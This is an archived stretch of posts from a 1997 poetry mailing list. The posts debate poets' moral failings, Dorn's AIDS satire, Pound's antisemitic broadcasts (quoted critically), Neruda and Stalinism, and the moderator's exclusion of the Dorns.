violence and the threat of violence
Mon 24 Feb 1997

Years ago, when I still lived in Brooklyn, I bought a car stereo at Crazy Eddie's and took it to the mechanic who did their installations. He told me what the service would cost me, which was pretty hefty. I was more than a little annoyed. "But they told me at the store that installation was included," I told him.

"It isn't, but you can take it up with Sal, the guy fixing his car over there. He's the dapertment manager."

So I went to talk to Sal, who got incredibly angry, and accused me of lying. "Wait a minute," I said, "I'm not accusing _you_ of anything. You weren't the salesman."

"He works for me. You accuse him you gotta deal with me."

Things went from bad to worse. Pretty soon I was threatening to talk to Sal's boss, and Sal was threatening to beat me up, to which I countered that if he did I'd call the police. There didn't seem to be any end in sight to the downward spiral.

Then I was afflicted with a rare moment of clarity. I should have known better--I lived in the neighborhood. And I did social work with working class people every day. Sal didn't really want to beat me up, and I didn't really want to have him arrested or fired. We were invoking the power moves of our respective social classes. Sal was working class--he had not been raised with the assumption that he could appeal to higher authorities to do his dirty work for him, and he probably thought it dishonorable to do so. I was middle class--I had been raised to abhor violence and the threat of violence, but also to assume that I had the power to call in the troops.

We were both doing the same thing, but in different languages. In my language Sal's provocation was to be taken more seriously than intended, as was mine in Sal's language. But they were both just power moves.

This whole series of reflections took a lot less time than it takes to write about it. I realized that I was just venting: I would have to pay anyway. What was the point of the argument? Was my honor at stake? So I backed off, and we each went to our corners.

Afterwards I reflected that I wasn't sure who was being more violent. I was threatened with a bloody nose. Sal was threatened with jail and loss of livelihood.

↑ Index

775. **Maria Damon**

Re: Berrigan likes to beat people up

Mon 24 Feb 1997

---

i'm puzzled by the conflation of "morality" with the desire of some people on the list to discuss the intersections of politics and poetry, and where we stand with it.

At 8:46 AM -0800 2/24/97, MAXINE CHERNOFF wrote:
>Dear Morality Junkies: What if Ted Berrigan actually did punch someone
>once? What if a fine, morally pure, socially sensitive poet is mean to
>his/her partner or children? What if he/she has bad taste in movies? Or
>puts ugly art on their walls? Or occasionally drinks too much? Or once,
>in a moment of frail humanity, said something unkind about someone else?
>What if Gertrude Stein voted Republican? What if she didn't exercise her
>right of citizenship and vote at all? What if she was (or anyone else) is
>mean, weak, ill-advised? What if she were a flatterer or dishonest?
>Where does this end? If we want our writers to be righteous beyond
>reason, maybe we need to read... what? The fact that some misbehave
>publically and others (most likely) privately (at least at some point in
>their long lives) is a fact of most people's existence on earth. Even

>writers we love. Sorry folks, but it's true. Of us all.
>
>Maxine Chernoff

↑ Index

776. Maria Damon
Re: Neruda/Stalin
Mon 24 Feb 1997

---

yes.

At 11:51 AM -0500 2/24/97, Mark Prejsnar wrote:
>I'd like to mention that most of this thread, with sharp contributions
>from a number of folks, and particularly the Kent/Mark exchange, has been
>awfully productive, and a very unusual model of political/poetical debate
>done with respect and with people quite often listening to each other in a
>non-exclusionary way...Not easily found in outer cyber space, where people
>are careless; not often enuff found on the non-poetic left, either, for
>sure!
>
>Mark Prejsnar

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777. David Kellogg
Lorenzo Thomas, Erica Hunt
Mon 24 Feb 1997

Can anybody give me contact information (email or phone) for Lorenzo Thomas and Erica Hunt? Please send backchannel. Thanks.

Cheers,
David
~~~
~~~

778. **michael corbin**
Broad-cast
Mon 24 Feb 1997

Check. Check, one, two. Is this microphone on?

Jerry Rothenberg wrote:

> *This is an unfortunate slip-up but a reminder of how fast*
> *gossip and rumor can spread via this medium, . . .*
>
> *the poetics rumor mill*
> *has now put him (& whoever else) into a racist league (etc.) . . .*
>
> *In other words, this is a public*
> *& not a private medium, a form of*
>
> *broad casting*
>
> *that can rapidly*
> *disseminate misinformation in a way that can quickly and actually do*
> *harm to people. . . .*
>
> *What did the man possibly say . . .*
> *(the way some of the correspondence sounds)*

So here we are narrow-casting to one an-other, poets mind you. Whispering in each others ears. Reading tightly, together. Because if we really othered the other, as opposed to just othering them they'ed be, well, us, only different, not even poets. And what of that difference? Are there any *others* on the list, out there in list-land, or is that an-other list on all the ships at sea? Broadcast information, or is that misinformation, one would think, is speed itself. Anon.

The best sound quality broadcast is the unpacking of the libraries frequency. Tuned in on the dial the personal histories of the intimacies and assignations shared with a lover who wee discover, post-coital, was given to the ressentiment, of, say, jew hating, which of course is more severe than the manufacture of simulated pink-triangles of the human-immunodeficency virus. We can pardon that rolling-stock broad-cast because our library is ordered. Safe-sex. Slowed down to a card-catalog where the surgical aesthetic of beauty and death are kept in different drawers. A retrovirus in check in a meduium that can quickly and actually do harm to (other) people.

Slow.

Bob Perlman wrote:

> *This isn't something to be clarified in the rapidfire ouija board regime of the listserv, probably.*

Rapid insemination and spectral speed regimes. So we move TOO FAST in this regime. A diagnosis. A metastasis. An opportunistic infection. Not post-modern,

or post-auschwitz, but post-pound, post-pound-consciousness, post-pound-revelations, post-pound-nuanced analysis or is that past not post(?), what you and I are not about I assure you; rather than past(?) is that post-gulf-war, or is it post sarejevo, post-stonewall, or, maybe *during*, live broadcast, during the riot, like Rodney King ventriloquized in the voice of the LAPD during the riot to broadcast on the too fast ouija board, "can't we all just get along?". Post-today? Right. Now is now. Moving fast. Word up. A ctually doing harm.

Is this the regime-brick road to the city of something to be clarified? Those in P-zones and P-zoos will be held to account when it is clarfied. At which point it will be broadcast.

EzrA pOUND, radio broadcast transcript, "America Was Promises," 1941: "Europe callin', Pound Speakin', Ezry Pound speakin . . .

"I do what I can to keep an even tone of voice; now when I drop my voice, they turn on more current. . . .

"They git that way readin' jew papers for 40 years. They git that way hearin' kike radio, and I propose to use the word KIKE regardless of race. Use it to cover honorary jews AND TO EXCEPT honest jews where we find 'em. . . ." [emphasis in original]

Join me on that band-width methodone program, you morality junkies, that methodone of 'regardless of race' that too is addictive, the liberal delirium tremens of 1st world satiation leading in the majority of cases in our sample to blindness in one eye, placebos notwithstanding. 12 steps minus one, or was that two.

Check. Check, one, two.

"The tension between the radio experience as a private experience and a public one is at the heart of radio ideology. Radio and telephone were the first electrical "personal appliances," . . . Radio gave the sense of intimacy with electricity, a sense of control over technology: at the same time radio's wirelessness, the invisibility of its method, made it subject to the greatest mystifications . . . In a prophetic misreading, the American Federal Communications Commission officials who monitored and transcribed the Italian broadcasts didn't recognize the word Celine and recorded it as Stalin, thus substituting a political totalitarian for what is now recognizable the quite specific telephonocentric of a French fascist aesthetic." Alice Kaplan, _Reproductions of Banality: Fascism, Literature and French Intellectual Life_.

Slow. Quiet. Distinction must be clarified. Substitions made. A fugative publication is loose, high on amplification. Lock up your wives and daughters. Watch your mail. Take care with the phone, picking up the line. Our humane libraries

are in order. Sustenence. Watch for others lurking about. They may not know you. Speak low when you speak of love as Lotte Lenya says.

Check. Can you here me in the back?

↑ Index

779. **Joseph Lease**
Re: dorn, etcetera
Mon 24 Feb 1997

---

which self-righteous turn? is there only one?

On Tue, 25 Feb 1997, Wystan Curnow wrote:

> *The self-righteous turn: and here we are once again. It seems native to the list, every so often it has to revert to this silly mood. In what sense 'native' though? Because present poetics' issues somehow demand it, because it is inextricable from the poetic practices which are most compelling to list members. Or because it's 'native' to the culture, which is why its occurrence harmonizes so well with daily media experience, 60 minutes, National Inquirier etc. the same in the US as in NZ? Is this what I log on for in the mornings? And what IS this mood? this 'turn', this 'culture of'? This is: The Moral Imagination of Our Time. What is the difference from it, the 'resistance' to it which I look for on the list? Any answers?*
>
> *Wystan*

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780. **DS**
Re: dorn, etcetera
Mon 24 Feb 1997

I think it is more righteous than self righteous. And i for one prefer righteousness to its opposite, whatever that maybe.

Dan

ps Here, the oun is shining, the tide is high and i have a new dog, or he has me. (A newfie pup named Moby - though for a while yet he's more of a sprat)

Should whatsisname come roun' me i'll set me dog a lickin him

> *But on the other hand, it seems to me this list has taken a*
> *self-righteous*
> *turn. I admit,*

↑ Index

781. **DS**
Re: dorn, etcetera
Mon 24 Feb 1997

Sorry should have read... Um... Noun?

> *ps Here, the oun is shining,*

↑ Index

782. **Wystan Curnow**
Re: dorn, etcetera
Mon 24 Feb 1997

The self-righteous turn: and here we are once again. It seems native to the list, every so often it has to revert to this silly mood. In what sense 'native' though? Because present poetics' issues somehow demand it, because it is inextricable from the poetic practices which are most compelling to list members. Or because it's 'native' to the culture, which is why its occurrence harmonizes so well with daily media experience, 60 minutes, National Inquirier etc. the same in the US as in NZ? Is this what I log on for in the mornings? And what IS this mood? this 'turn', this 'culture of'? This is: The Moral Imagination of Our Time. What is the difference from it, the 'resistance' to it which I look for on the list? Any answers?

Wystan

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783. **Wystan Curnow**
Re: dorn, etcetera
Mon 24 Feb 1997

Dear Joseph,

There are indeed many turns to self-righteousness. The phrase was William Northcutt's, who wrote:

I understand all the fuss about Dorn. What he and T. Clark published re: AIDS is a horrible thing. I'd like to hear their side of it if any of you have contact with them and they're interetested in responding--or have they elsewhere?

But on the other hand, it seems to me this list has taken a self-righteous turn. I admit, I don't know much about Dorn personally, but in my last decade + experience in the university, assholes abound and poets abound, and sometimes one is a subset of the other. Actually, it seems to me the university is concretising its self-righteous turn.

Among the subjects that seems to always come up, and for good reason, is Pound. I agree, Pound's behavior was evil, no matter how much anyone finds reasons--Italian isolation, etc. But on the other hand, telling the one story, as Bob Perelman has done, gets only one part of the job done--that is, I disagree with whoever it was who lauded Perelman's book on Genius. Perhaps the Stein, Zuk, and Joyce chapters are okay, but I find the chapter on Pound a bit trendy, a bit facile. Perelman takes the Pound of the late 1930s on and reads backwards, mostly ignoring the Pound whose reaction to the avarice that brought on WWI prompted him to take some admirable chances in his early Cantos; I find Perelman's book equally as underdone as those books which look at some of Pound's earlier thought and try to press that over the truely evil shit in Pound's later work.

I like Perelman's poetry.

I like Dorn's poetry too, especially Slinger.

I don't think one has to be schizophrenic to see in the work something useful and something humane, and to see at the same time that it may be set beside something awful in the human being who wrote it, or even in the very next line of the poetry itself.

Rather than seeing the world in Hollywood black and white, wouldn't it be more useful to explore the complications of "good" and "evil" (as they've been labled on this list)? In the case of someone such as William Faulkner, for example. It's true of his work that his portrait of blacks is sometimes terribly condescending, and he wasn't exactly an advocate of the Civil Rights movement in the South, but it doesn't mean that his work doesn't have moments which might teach some biggot a lesson in humanity.

Opening the subject is preferable to closing it, becoming Rush Limbaugh of
the Left.

William Northcutt

Wystan Curnow

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784. KENT JOHNSON
dorn deletion
Mon 24 Feb 1997

> *Date sent: Tue, 25 Feb 1997 09:33:58 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Joel Kuszai <[redacted]>*

> *Subject:* *Re: dorn, etcetera*
> *To:* [redacted]

On Tues, 25 Feb, Joel Kuszai wrote:
>
> As far as Mr. Northcutt's comment above: Ed & Jennifer Dorn tried to sign
> up to Poetics list several times. I deleted them like I would have Hitler,
> but to no avail, they kept re-subbing. Eventually, I let them pass
> through, with my finger on the "delete" key, I waited expectantly for some
> coke-induced froth from his evil lips--did he ever post? A search of the
> archives would reveal. As far as I know, they remained on this list until
> recently...

Is this a joke? That Ed and Jennifer Dorn tried to subscribe to the list and were repeatedly censored out? If so, I'd suggest this discussion that people are "getting tired of" has acquired a new sense of urgency! Holy cow.

Kent

Kent>

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785. **Mark Weiss**
Re: Neruda and Stalinism
Tue 25 Feb 1997

I remember the coverage of the Guatemala coup at the time--big spread in Life magazine that was unadulterated CIA feed. In my family everyone knew--but we also knew that the CIA probably had something to do with the Dodgers losing the World Series. I doubt very much that the average estadosunidense, as they call us in Guatemala (really) questioned the official story, and I'd guess that most of my fellow citizens who know where Guatemala is still don't. As to Neruda's complicity with that gang, quien sabe? But I'd hope we don't go back into innuendos without presenting the evidence. The world is sad enough as it is.

At 10:19 PM 2/23/97 -0800, you wrote:
>Mark Weiss's long message on Neruda and Stalinism in the USA was really
>interesting. Thanks for that.
>
>I am wondering, though: did USAmericans really believe that the overthrow
>of the government in Guatemala was somehow not done by the USA? I have
>never heard of anyone outside the USA that did not know that from the start.
>
>Oh, and if I remember rightly, Neruda helped the killers of Trotsky get out

>of Mexico, didnt he? Or am I mixing up a couple of things?
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
>

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786. Thomas Bell
Re: Neruda/Stalin/Berrigan likes to beat people up/dorn, etcetera
Tue 25 Feb 1997

This seems to go on and on so I can't help adding my bit. In my reading of events more harm comes from those who seek perfection in themselves and others. I'll keep my feet of clay, allow them theirs, and cast not the first line:

"I can no longer tell
Which is beast
Which man"
Akhmatova, Requiem

This is not to say that all sins are equal.
tom bell

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787. jdhollo
the misunderstood fugitive
Tue 25 Feb 1997

Dear Kevin, Luigi-Bob, Maria Damon, & everybody:

It was not my intention, in the least, to use the term 'fugitive' in any kind of pejorative sense, merely as--especially re: publications--as shorthand for here today, gone tomorrow. Like, for instance, the Piero Heliczer issue of Dennis Cooper's magazine Little Caesar--late Seventies, early Eighties? --which I lost &

wd dearly like to retrieve (if anyone has a spare, or knows where one might be found, please backchannel)...

As for the Rolling Stock AIDS number, it certainly was an instance of ill-informed and hence ignorantly excessive satire--*failed* satire, in every which sense: artistic, political, civil, human. I have always regarded it on a par with was it The Realist's? piece on the Kennedy assassination --offensive sledgehammer grossness. Part of a perhaps peculiarly U.S. strain of 'oppositional' journalism harking back to the Sixties (when it did have a few brilliant exponents-- the late Terry Southern comes to mind, and R. Crumb, of course). But to whom should, and would, creators of such misbegotten garbage now apologize?

Ah, sigh. Buenas noches.

Anselm Hollo

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788. KENT JOHNSON
Re: deletion
Tue 25 Feb 1997

Eliza: No argument on your comment. But the point/concern with the apparent censorship of the Dorns on this list is that it happened before he/she had been able to type a word! I, for one, don't want a censor deciding for me what I can and cannot have access to on this wonderful place of discussion. If the matter is true, I propose that the Dorns be written to, that apologies be made, and an invitation extended to come aboard.

Kent

> Date
sent: Tue, 25 Feb 1997 14:09:48 - 0500
> Send reply to: UB Poetics discussion group <[redacted]>
> From: Eliza McGrand- CVA Guest <[redacted]>
> Subject: deletion
> To: [redacted]

> *a while back, i remember someone pennamed "filch" posted what he claimed was a graffiti exchange he found on bathroom walls. the graffiti was a very disturbing plea from a woman to a man for him to meet her -- foreign names, phones numbers, extremely private if genuine, and, whether genuine or fake, having absolutely nothing to do with any discussion past or ongoing on list and a complete intrusion on people's time. "filch" continued posting bits of uninteresting, pointless texts along with flamebait. his posts, large in number (we only get 50 posts per day... ONLY! are we crazy! but we use them up frequently, so assume some limitations on space to post) began overwhelming mailings. after a number of these numerous posts (his*

> *posts always went out in duplicate, making his electronic "loudness" even more distressing), some of which were over 5 "screen" pages in length (i remember one was something like 18), he disappeared from list to my great relief.*
>
> *shortly after, he confirmed everything i had disliked about the posts and intolerable mail-bombing by sending out a series of spam letters to members on list -- spam is, for uninitiated, electronic "junk" mail which, in sufficient numbers, can and frequently does shut down servors and is strongly rejected by internet community. i think it has even been made illegal. on receipt of spam, usual mode is to write host of spammer, inform them customer/client is spamming, and request offending account be closed down, and, and this is what i mean by STRONG internet disapproval, it usually is.*
>
> *several list members did this and i (don't know about anyone else) got a somewhat threatening, and certainly unpleasant, note from "filch" regarding my note to his host.*
>
> *i, too, have some problems with "deletion" of listmembers, but would like to see possibility kept on if only for the particularly noxious problems like filch. the problem with neo-nazi type poster, to my mind, would be waste of electron space, potential for abuse of list members, and possibility that some newbie might get taken by innocuous-seeming post and then sucked into electronic vacuum of energy-sapping correspondence, perhaps even threatened, before they found out enough to extricate.*
>
> *i suppose what i am saying at too-great length is that i would reserve deletion for only VERY extreme cases. but i would like to see it kept as a possibility. i know i wrote to po-listmaster to ask that filch be taken off -- i believe that was after his four over-20,000 bit postings caught me off gaurd in my mailreading and tied my computer up for about 10 minutes...*
>
> > *not frothing at the mouth but i was then...*
> > *e*
>
> *--OAA22669.856897441/life.ai.mit.edu--*

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789. **Chris Stroffolino**

FRANK as HANK?

Tue 25 Feb 1997

Hey, is it okay if I agree with both Kevin Killian AND Maxine Chernoff? (oh, David Bromige, where are you?) But--I think I wanted most to respond to

Michael Magee today. (any relation to Kevin Magee. Whatever happened to kevin Magee?) in reference to Berrigan getting his tough guy machismo from O'Hara--Well, I will try to brackett the question of Berrigan for now, but this will be hard to do, because a comparison has been urged and to me it seems that O'Hara definitely has less of this tough guy machismo than Berrigan--especially considering the fact that he was writing in a generally more macho time (Olson, and others) while Berrigan--though Tulsa--i still associate with the influx of many women writers (Mayer, Notley, Waldman, etc.). Of course, O'Hara didn't hang out with writers as much as Berrigan did....but he did hang with many female painters. Yeah, Mike, maybe compared to Warhol O'Hara is less "stereotypically gay" but not compared to, say, Ginsberg.....(and how stereotypically gay was even warhol?).... One thig I notice in my recent standing still AS sitting in cafes with poets is a tendency amongst younger poets (those who seem to react against the L school, or, never were very affected by them in the first place, and tend to see themselves more in a NYSCHOOL kinda thing, and more of the O'Hara/Berrigan/Mayer (and not even Ashbery as much) thing) to see O'Hara as primarily a poet who wrote about his friends, etc. I call this reading O'Hara THROUGH Berrigan...and sometimes there is a tendency to accuse O'Hara--again IN CONTRAST to Berrigan--as CLASSIST, and I've been wondering if this accusation of O'Hara's alleged classism (but see his essay on PASTERNAK!, for instance) may be a subtle kind of homophobia that comes out of the infinitely more heterosexual aesthetics of later ny school males. I am not suggesting that one must be rich to be gay or poor to be straight (or even "cruel to be kind/ in the right measure"), just trying to theorize history from scant little details of "deep gossip" and in so doing I see O'Hara can NOT really be pinned down to a kind of homosocial machismo that you, Mike, seem to attribute to him. I am not denying that there are elements there of this, but they seem--especially for his time (more the 50's than the 60's) to be not dominant.....(his love for pollock being no greater than his love for frielecher or hartigan, or even joan mitchell, who are still quite underrated painters viz-a-viz the great DeKooning and yet more Picasso retrospectives at MOMA....).....Chris S.

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790. Miekal And
the feast of plagiarism
Tue 25 Feb 1997

Sherry Brennan wrote:

> *Is there a difference between using quotation marks or some other indicator of source and not indicating the source specifically but treating the words*

> *as found language? How does this work? I don't mean technically how it works, but what kind of difference does it make to the poem or the reader? the writer?*

sherry

One possible response is a pamphlet I constructed for the 1988 Festival of Plagerism (sic) called The Plagiarist Codex; an old Maya Information Heiroglyph which can be viewed on line with a frames capable browser at:

http://www.net22.com/qazingulaza/codex/codex.html

Amendant Hardiker

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791. Michael Magee
Re: FRANK as HANK?
Tue 25 Feb 1997

---

re: Chris Stroffolino's comment, "O'Hara can NOT really be pinned down to a kind of homosocial machismo that you, Mike, seem to attribute to him."

Chris, I actually agree with you. I was posing the O'Hara/machsimo issue as a question rather than as a statement since it seems to be around as an issue - Gooch makes alot of O'Hara's attraction to heterosexual "macho" men in his very chatty biography and there's certainly some truth to that. BUt I like your notion that some of the conventional wisdom on O'Hara is a consequence of reading him through Berrigan. Thanks for the response.

-Mike.

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792. Joel Kuszai
Re: dorn, etcetera
Tue 25 Feb 1997

On Mon, 24 Feb 1997, William Northcutt wrote:

> *I understand all the fuss about Dorn. What he and T. Clark published re: AIDS is a horrible thing. I'd like to hear their side of it if any of you have contact with them and they're interetested in responding--or have they elsewhere?*

I first heard about Dorn's madness almost ten years ago, when someone told me that Creeley had been awarded the AIDS prize. I didn't understand the frightening logic behind his vile attitudes and it wasn't until Kevin's writing on this was made available to me that I understood the depths of that problem. I appreciated Kevin's writing and have observed this kind of thinking in places other

than Dorn-world (such as real world). I wish/hope that K.K. would post that text here. What else is this list for? I mean c'mon...

As far as Mr. Northcutt's comment above: Ed & Jennifer Dorn tried to sign up to Poetics list several times. I deleted them like I would have Hitler, but to no avail, they kept re-subbing. Eventually, I let them pass through, with my finger on the "delete" key, I waited expectantly for some coke-induced froth from his evil lips--did he ever post? A search of the archives would reveal. As far as I know, they remained on this list until recently...

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793. **Michael Boughn**
Re: killian / pug selves
Tue 25 Feb 1997

Well, Maria, personally, I'd find it easier to accept the proposal that this discussion was about the intersection of poetry and politics if anybody ever mentioned any poetry (or, god forbid, poetics). The actual discussion seems about the intersection of personality and politics (YAWN!). Let's see, we're makin' a list and checkin' it twice . . .

By the way, to the guy who named his newfie Moby (sorry, I lost your name), haven't you heard that Melville's work is now on the proscribed list because he allegedly abused his wife? Better change the dog's name quick.

Mike
[redacted]

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794. **jarnot**
Onward
Tue 25 Feb 1997

---

in response to joel kuszai's post:

"As far as Mr. Northcutt's comment above: Ed & Jennifer Dorn tried to sign up to Poetics list several times. I deleted them like I would have Hitler, but to no avail, they kept re-subbing. Eventually, I let them pass through, with my finger on the "delete" key, I waited expectantly for some coke-induced froth from his evil lips--did he ever post? A search of the archives would reveal. As far as I know, they remained on this list until recently..."

I think it's very creepy that people are being kept off this list. I've actually found this whole discussion very disturbing. Aren't there more productive things to do in this forum than get involved with name calling, etc.? I mean

really-- the "coke-induced froth from his evil lips"? I've been tired of this discussion since the idea of punching people out came up. It makes me think of something that Robert Duncan says about how you can't reject Mae West as vulgar or Hitler as the enemy because that potentiality exists in everybody. I thought the people on this list were progressive thinkers and writers-- if Dorn writes nasty crap it's because he wants a reaction like this-- he's succeeded in getting people to waste their time talking about him. yours, lisa jarnot

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795. **Joel Lewis**
(no subject)
Tue 25 Feb 1997

Thank you, Maxine C. on your comments re: Berrigan and Dorn. I've felt part of the marginalization of ted's work is less the occasional & mostly comical references to violence than to his references to his drug taking. Ted's poetry, in a way, broke the shabby curtain between personal life and public persona & more of his private life is in their than most poets. If you read the bios, folks like lowell, berryman, james wright & others were as big pillheads as ted, but THEY never wrote a line like "the pills aren't working" in fact, the keepers of their flames admit to their drinking problems (still ok in the culture), but keep drug use out the narrative (indication of an evil character). As for the question of violence: the potentiality of giving and receiving a knuckle sandwich was and still is part of the world of working class men (and if we go by G. Lakoff's theory that our metaphors shape our outlook on the world--the "jokey" violent metaphors that I always here on the street on hoboken between young men makes sure there is ready cannon fodder out there in the world). Ted, I think, struggled with that inheritance -- his workshop comment "The only men capable of writing a real love poem are gay men" reflects some of that conflict
Around '69, ted was beaten up by two punks in Tompkins Square Park -- an incident he referred to in interviews and letters. It changed him somewhat-- tom clark feels it brings a dramatic change in his Late Returns memoirs. I think serious appreciation of Paul Blackburn's poetry was ruined at the time of the publication of the collected poems by speculation of his outlook towards women, etc -- without attempting to contextualize his stance against the attitudes of the time (a marvelous, tho' unknown account of gender relations in the Lower East Side in the early 60's occurs in Barbara Giurzatti Harrison's memoir of growing up as a Jehovah's Witness(?).

Joel lewis

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796. Daniel Bouchard/College/hmco
Re: violence and the threat of violence
Tue 25 Feb 1997

Mark:

YOU should have kicked HIS ass!

No wait, I am being rash. Here comes a rare movement of clarity . . .

In the lingo of the neighborhood I grew up in, when we discussed "power moves of respective social classes," etc. etc., you got "psyched out." A psych-out is a line in the sand (in the desert of intimidation) which the loser won't cross. It's my bet that that line is (or was) policy at Crazy Eddie's. In fact, if you had crossed just two more lines in that office you may have got what you wanted. A threat to call the police may work in some arenas, but here you were misplaying your cards. (How many metahpor-cliches can I go?)

Actually, if you HAD called the police, 1) you would have had to leave the office-- you could hardly say, "oh shoot, Crazy Eddie, can I borrow your phone to call the cops on you?" and the game would have changed while you were gone, and 2) the cops probably would have arrested YOU for causing a disturbance. While you were sitting in the cruiser you would have seen Officer McGruff admiring your recent purchase and Eddie handing it to him for his own as a token of goodwill. No, the cops would have been no use to you there and therefore your threat was no good.

Those offices--or shops, whatever-- are usually pretty messy. Now, I don't know if you would have been capable of kicking this guy's ass or anybody's ass for that matter, or not. From the tone of your posts you seem like a peaceful guy, not the ass-kicking type. But like I say, those offices are pretty messy and what you lack in violent behavior or ill-will you can make up for in brief spasms of psychotic tendencies; say, grabbing a broom, a crow bar, or one of those little gum ball or pistachio dispensers, and slamming it down on the man's desk as furiously as possible while screaming, "I'm not going to pay a lot for this muffler."

You needn't worry about Crazy Eddie-- or whatever the hell the guy's name is-- attacking you because it was never his intention in the first place. They probably contract out work like that-- have someone else kick your ass in a 7-11 lot somewhere and then steal the radio back when they're done or something. This guy is a businessman after all, he can't spend the rest of the day selling stolen car parts and dealing with customers with your teeth sticking out of his knuckles and your blood all over his shirt.

Anyway, I noticed in your post a big void: you say both of you went to your respective corners to reflect but it seems only you did. The other guy was

probably figuring out what kind of time he was going to be set back by dealing with you. Ultimately, it would have been more "dishonorable" to let you get the better of him than it would be to appeal to a higher authority.

What did happen anyway? If you paid for the installation, you got suckered. I mean that dispassionately and there's no other way to put it. And the rationalization you employed that cost you so much money greatly exaggerated your power in the situation, and greatly underestimated his. Did you really think you could have him arrested or fired? ho boy. . .

in solidarity,

[redacted]

To: POETICS @ LISTSERV.ACSU.BUFFALO.EDU @ SMTPIN
cc: (bcc: Daniel Bouchard/College/hmco)
From: junction @ EARTHLINK.NET (Mark Weiss) @ SMTPIN
Date: 02/24/97 09:54:20 AM
Subject: violence and the threat of violence

Years ago, when I still lived in Brooklyn, I bought a car stereo at Crazy Eddie's and took it to the mechanic who did their installations. He told me what the service would cost me, which was pretty hefty. I was more than a little annoyed. "But they told me at the store that installation was included," I told him.

"It isn't, but you can take it up with Sal, the guy fixing his car over there. He's the dapertment manager."

So I went to talk to Sal, who got incredibly angry, and accused me of lying. "Wait a minute," I said, "I'm not accusing _you_ of anything. You weren't the salesman."

"He works for me. You accuse him you gotta deal with me."

Things went from bad to worse. Pretty soon I was threatening to talk to Sal's boss, and Sal was threatening to beat me up, to which I countered that if he did I'd call the police. There didn't seem to be any end in sight to the downward spiral.

Then I was afflicted with a rare moment of clarity. I should have known better--I lived in the neighborhood. And I did social work with working class people every day. Sal didn't really want to beat me up, and I didn't really want to have him arrested or fired. We were invoking the power moves of our respective social classes. Sal was working class--he had not been raised with the assumption that he could appeal to higher authorities to do his dirty work for him, and he probably thought it dishonorable to do so. I was middle class--I had been raised to abhor violence and the threat of violence, but also to assume that I had the power to call in the troops.

We were both doing the same thing, but in different languages. In my language Sal's provocation was to be taken more seriously than intended, as was mine in Sal's language. But they were both just power moves.

This whole series of reflections took a lot less time than it takes to write about it. I realized that I was just venting: I would have to pay anyway. What was the point of the argument? Was my honor at stake? So I backed off, and we each went to our corners.

Afterwards I reflected that I wasn't sure who was being more violent. I was threatened with a bloody nose. Sal was threatened with jail and loss of livelihood.

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797. **Maria Damon**

Re: killian / pug selves

Tue 25 Feb 1997

---

oh jeez, where did personality come in? i don't know these people, only what they say or do in the public realm. and as for "morality," (making the list and checking it twice) these are not matters of abstract morality or a debased sort of judgmentalness. if a guy is misogynistic, why wd i hang around him unless there were strong incentives in the area of learning something, or unless somehow i cd pass as a guy, or unless i cd use that misogyny to my advantage (a la groupie-ism). if a guy's anti-semitic, what's in it for me to stick around? sometimes there's something worth hanging around for, sometimes not. why are the pragmatics so hard to grasp? is it that folks don't believe there are practical consequences to someone's jewbaiting, woman-hating, etc, so that these are abstract ethical issues?

At 9:45 AM -0500 2/25/97, Michael Boughn wrote:
>Well, Maria, personally, I'd find it easier to accept the proposal
>that this discussion was about the intersection of poetry and politics
>if anybody ever mentioned any poetry (or, god forbid, poetics). The
>actual discussion seems about the intersection of personality and
>politics (YAWN!). Let's see, we're makin' a list and checkin' it twice
>. . .
>
>By the way, to the guy who named his newfie Moby (sorry, I lost your
>name), haven't you heard that Melville's work is now on the proscribed
>list because he allegedly abused his wife? Better change the dog's
>name quick.
>

>Mike
>[redacted]

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798. **shoemakers**
Re: killian / pug selves
Tue 25 Feb 1997

I've only been able to read the list sporadically of late, so maybe i shld keep quiet--but i can't. I agree that there is a danger of holier than thou attitudinizing in the effort to discuss the "sins" of poets. The process can easily degenerate into unproductive fingerpointing. At the same time, i'm amazed at how ready some people are to consider any discussion of ethics as a necessarily self-righteous, misguided and "pc" sort of maneuver. We do talk about the "Pound problem" a lot on this list, and i think for many of us that's because we know precisely that we are talkinga about ourselves, and about poetry, and not just about some unexplainable rogue fascist. Perelman, for example, makes it clear in his Pound chapter that he is writing about Pound because Pound has been central to his (Perelman's) development as a poet:

"I've learned to read his language and have absorbed his fervor concerning words; I no longer want to savor decontextualized lyricism. Certainly, the vividness of his struggle ot make each word both new and true to history has been a powerful influence on poetry in America. Pound's language presenets a charged image of speed and lucidity; this charge is valuable for the future of poetry. But I want the full dynamics of Poundian light to be acknowledged; what it illuminates is always accompanied by a phobic shadow."

I think of a lot of use feel--as poets, readers, critics--that we, and poetry, *have* to deal with that shadow, that historically speaking poetry has too often assumed a privilege to itself (call it "decontextualized lyricism" if you like) that it can no longer afford. It's clear to me too that when we're talking about Pound we are also often talking, either implicitly or explicitly, about the Holocaust, about what it means to write poetry before, during, after Auschwitz. That's a fact of *our* global history that is inescapable exactly *now* as we continue to struggle with whit the question of globalness itself. But, still, when i say Pound's question is "our" question i want to say, yes, that we can't just read him as the evil other--but i also want to say that we can and should examine the man, and the poetry, carefully to see where he goes wrong. Pound is central to my understanding of poetry-- there's simply no way for me *not* to ask these questions. In my own work, which deals quite a lot with the thirties, it has been illuminating (to me) to see the various personal, political, and poetical routes taken through the period of fascism's rise. I think Pound had a lot of genuine

care for the plight of the world in a period of crisis--and his response was to become a fascist. William Carlos Williams, in thrall to Pound in so many ways--and sympathetic at many points to Pound's social critique--explicitly refuses this development, and launches an attack on, and extremely compelling diagnosis of, Pound's fascism--at a relatively early point, 1941. Moreover, he does this throught a reading of Pound's poetry (specifically the opening of Canto XXX) that never denies the beautry of that poetry, even as it also never hesitates to read it for its ethical and political import. The beauty of the poem, Williams concludes, is to be found in "a pleasure and pain equally balanced which we cannot resolve." We owe it to ourselves, and to poetry, to acknowledge both that pleasure and that pain. WCW might not have been able to come to his (crucial) insight if he hadn't thought so hard about that conflict. And history isn't over yet. We've got our own historical difficulties to struggle with, and our own poetry to write.

steve

PS.

So, no, Kevin, i don't think you shld have destroyed the poem.

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799. **Mark Prejsnar**
Re: Neruda and Stalinism
Tue 25 Feb 1997

